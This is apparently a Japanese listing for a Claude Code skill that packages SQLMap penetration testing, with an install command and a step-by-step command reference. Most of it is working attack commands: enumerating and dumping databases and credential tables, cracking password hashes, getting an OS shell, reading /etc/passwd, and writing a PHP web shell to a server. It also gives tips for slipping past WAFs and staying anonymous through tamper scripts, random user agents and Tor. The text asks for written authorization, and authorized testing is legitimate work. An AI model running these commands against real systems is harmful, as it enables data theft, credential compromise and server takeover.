SQLMap Database Penetration Testing について
許可を得てペネトレーションテストを行う人向けのSQLMapスキルです。複数のDBMSを対象に、インジェクション検査、データベースの列挙や抽出、応用的なテスト手順を扱います。
主な機能
- 01SQLインジェクション検出
- 02データベースとスキーマの列挙
- 03テーブルとカラムのデータ抽出
- 04URL、リクエスト、ログ、一括ターゲット
- 05複数のインジェクション手法
活用シーン
- 01許可されたWebアプリのSQLインジェクション検査
- 02テスト中のデータベースとテーブルの列挙
- 03許可された評価での指定テーブルのレコード抽出
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill sqlmap-database-penetration-testingインストール後、Claude Code で/sqlmap-database-penetration-testingを入力して読み込まれたか確認します。
詳細
SQLMap データベース侵入テスト
目的
SQLMap を使用した SQL インジェクションの自動検出と悪用のための体系的な手法を提供します。このスキルでは、データベースの列挙、テーブルおよび列の検出、データ抽出、複数のターゲット指定方法、そして MySQL、PostgreSQL、MSSQL、Oracle などのデータベース管理システムに対する高度な悪用テクニックを扱います。
入力 / 前提条件
- ターゲット URL: インジェクション可能なパラメーターを含む Web アプリケーションの URL(例:
?id=1) - SQLMap のインストール: Kali Linux にプリインストールされているもの、または GitHub からダウンロードしたもの
- 確認済みのインジェクションポイント: SQL インジェクションが可能であると確認された、または疑われる URL パラメーター
- リクエストファイル(任意): POST ベースのインジェクション用に Burp Suite で取得した HTTP リクエスト
- 認可: ペネトレーションテスト活動に対する書面による許可
出力 / 成果物
- データベースの列挙: ターゲットサーバー上のすべてのデータベースの一覧
- テーブル構造: ターゲットデータベース内の完全なテーブル名
- 列のマッピング: 各テーブルの列名とデータ型
- 抽出データ: ユーザー名、パスワード、機密データを含むダンプされたレコード
- ハッシュ値: オフラインでのクラッキング用のパスワードハッシュ
- 脆弱性レポート: SQL インジェクションの種類と深刻度の確認結果
基本ワークフロー
1. SQL インジェクションの脆弱性を特定する
手動での検証
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
SQLMap による初期スキャン
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. データベースを列挙する
すべてのデータベースを一覧表示
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
主要なオプション:
-u: インジェクション可能なパラメーターを含むターゲット URL--dbs: データベース名を列挙--batch: デフォルトの回答を使用(非対話モード)
3. テーブルを列挙する
特定のデータベース内のテーブルを一覧表示
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
主要なオプション:
-D: 対象のデータベース名を指定--tables: テーブル名を列挙
4. 列を列挙する
特定のテーブル内の列を一覧表示
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
主要なオプション:
-T: 対象のテーブル名を指定--columns: 列名を列挙
5. データを抽出する
特定のテーブルのデータをダンプ
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
特定の列をダンプ
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
データベース全体をダンプ
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
主要なオプション:
--dump: 指定したテーブルのすべてのデータを抽出--dump-all: すべてのテーブルのすべてのデータを抽出-C: 抽出する列名を指定
6. 高度なターゲットオプション
HTTP リクエストファイルからターゲットを指定
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
ログファイルからターゲットを指定
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
複数の URL をターゲットに指定(一括ファイル)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Google ドークによるターゲット指定(注意して使用)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
クイックリファレンスコマンド
データベース列挙の流れ
| ステージ | コマンド |
|---|---|
| データベースの一覧 | sqlmap -u "URL" --dbs --batch |
| テーブルの一覧 | sqlmap -u "URL" -D dbname --tables --batch |
| 列の一覧 | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| データのダンプ | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| すべてダンプ | sqlmap -u "URL" -D dbname --dump-all --batch |
サポートされているデータベース管理システム
| DBMS | サポートレベル |
|---|---|
| MySQL | 完全サポート |
| PostgreSQL | 完全サポート |
| Microsoft SQL Server | 完全サポート |
| Oracle | 完全サポート |
| Microsoft Access | 完全サポート |
| IBM DB2 | 完全サポート |
| SQLite | 完全サポート |
| Firebird | 完全サポート |
| Sybase | 完全サポート |
| SAP MaxDB | 完全サポート |
| HSQLDB | 完全サポート |
| Informix | 完全サポート |
SQL インジェクションの手法
| 手法 | 説明 | フラグ |
|---|---|---|
| ブーリアンベースのブラインド | 真偽の応答からデータを推測 | --technique=B |
| 時間ベースのブラインド | 時間遅延を使ってデータを推測 | --technique=T |
| エラーベース | エラーメッセージからデータを抽出 | --technique=E |
| UNION クエリベース | UNION を使って結果を追加 | --technique=U |
| スタックドクエリ | 複数のステートメントを実行 | --technique=S |
| アウトオブバンド | DNS または HTTP を使ってデータを外部へ送出 | --technique=Q |
主要オプション
| オプション | 説明 |
|---|---|
-u | 対象の URL |
-r | ファイルから HTTP リクエストを読み込む |
-l | Burp/WebScarab のログからターゲットを解析する |
-m | 複数のターゲットを含む一括ファイル |
-g | Google ドーク(責任を持って使用してください) |
--dbs | データベースを列挙する |
--tables | テーブルを列挙する |
--columns | カラムを列挙する |
--dump | テーブルデータをダンプする |
--dump-all | すべてのデータベースデータをダンプする |
-D | データベースを指定する |
-T | テーブルを指定する |
-C | カラムを指定する |
--batch | 非対話モード |
--random-agent | ランダムな User-Agent を使用する |
--level | テストのレベル(1〜5) |
--risk | テストのリスク(1〜3) |
制約と制限事項
運用上の境界
- 対象 URL に有効なインジェクション可能なパラメーターが必要です
- 対象のデータベースサーバーへのネットワーク接続が必要です
- 大規模なデータベースのダンプには多くの時間がかかる場合があります
- 一部の WAF/IPS システムは SQLMap のトラフィックをブロックする場合があります
- 時間ベースの攻撃は、エラーベースの攻撃よりも大幅に遅くなります
パフォーマンスに関する考慮事項
- 列挙を高速化するには
--threadsを使用します(デフォルト: 1) - 大きなテーブルの場合は、
--startと--stopでダンプを制限します - 既知の場合は、
--techniqueを使用してより高速なインジェクション手法を指定します
法的要件
- 明示的な書面による許可を得たシステムのみをテストしてください
- 不明なサイトに対する Google ドーク攻撃は違法です
- すべてのテスト活動と検出結果を文書化してください
- エンゲージメントのルールで定義されたスコープの制限を遵守してください
検出リスク
- SQLMap は大量のログエントリを生成します
--random-agentを使用して User-Agent ヘッダーを変化させます- レート制限の発動を避けるために
--delayの使用を検討してください - 匿名性のために
--torで Tor を経由してプロキシできます(許可されたテストのみ)
例
例 1: データベースの完全な列挙
# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
例 2: POST リクエストのインジェクション
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
例 3: 一括ターゲットスキャン
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
例 4: 積極的なテスト
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
例 5: 特定の認証情報の抽出
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
例 6: OS シェルアクセス(上級者向け)
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
トラブルシューティング
問題: 「パラメーターはインジェクション可能ではないようです」
原因: SQLMap がインジェクションポイントを見つけられない 解決策:
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
問題: 対象が WAF/ファイアウォールの背後にある
原因: Web アプリケーションファイアウォールがリクエストをブロックしている 解決策:
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
問題: 接続タイムアウト
原因: ネットワークの問題、または対象の応答が遅い 解決策:
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
問題: 時間ベースの攻撃が遅すぎる
原因: デフォルトの時間遅延が保守的すぎる 解決策:
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
問題: 大きなテーブルをダンプできない
原因: テーブルのレコード数が多すぎる 解決策:
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
問題: 長時間のスキャン中にセッションが切断される
原因: セッションのタイムアウトまたは接続のリセット 解決策:
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
コメント
Markdown 対応